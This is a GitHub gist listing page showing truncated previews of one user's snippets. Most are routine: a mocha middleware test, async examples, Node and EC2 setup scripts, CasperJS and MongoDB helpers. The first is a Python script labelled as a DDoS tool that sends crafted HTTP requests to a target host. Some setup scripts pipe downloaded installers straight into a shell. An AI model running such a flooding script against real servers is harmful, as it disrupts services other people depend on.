Skip to content

Instantly share code, notes, and snippets.

@wahengchang
wahengchang / ddos.py
Created April 27, 2016 14:17 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@wahengchang
wahengchang / middleware-test.js
Created November 4, 2016 07:03 — forked from CodeVachon/middleware-test.js
express middleware mocha test
var middleware = require('middleware'), // the Middleware you want to test
httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
request = {}, // define REQUEST
response = {} // define RESPONSE
;
describe('Middleware test', function(){
context('Valid arguments are passed', function() {
beforeEach(function(done) {
/*
var sleep = function(para) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
resolve(para * para)
}, 1000)
})
}
var sleep = function(para) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
resolve(para * para)
}, 1000)
})
}
async function asyncSleep (para){
return await sleep(para)
@wahengchang
wahengchang / node-and-npm-in-30-seconds.sh
Created February 28, 2017 05:47 — forked from isaacs/node-and-npm-in-30-seconds.sh
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh
@wahengchang
wahengchang / syncEC2ByPem.sh
Last active April 30, 2017 07:30
A tool to sync file from local to AWS EC2 by pem key
# 2017/4/23
# To sync file from local to AWS EC2 by pem key
# Exclude '/node_modules'
# Check user name *******************/
if [ -z ${SYNC_USER} ]; then
echo "Input your EC2 name (default user: ec2-user):."
read _userName
if [ -z ${_userName} ]; then
var casper = require('casper').create();
casper.start('http://casperjs.org/');
casper.then(function() {
this.echo('First Page: ' + this.getTitle());
});
casper.thenOpen('http://phantomjs.org', function() {
this.echo('Second Page: ' + this.getTitle());
@wahengchang
wahengchang / CloneDBToDB.sh
Last active August 30, 2017 14:56
Shell script for backing up Mongo Databases on a given server. To dump and restore production MongoDB databases.
#####################################
####### Config Your host here #####
#####################################
FROM_DB_HOST="abc.com:1024"
TO_DB_HOST="def.mlab.com:1111"
FROM_DB_NAME="peter"
TO_DB_NAME="peter-dev"
#####################################
sudo yum upgrade
sudo yum install git
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.4/install.sh | bash
source ~/.bash_profile
nvm install v6.9.5
curl -L https://github.com/docker/machine/releases/download/v0.12.2/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine &&
chmod +x /tmp/docker-machine
sudo cp /tmp/docker-machine /usr/local/bin/docker-machine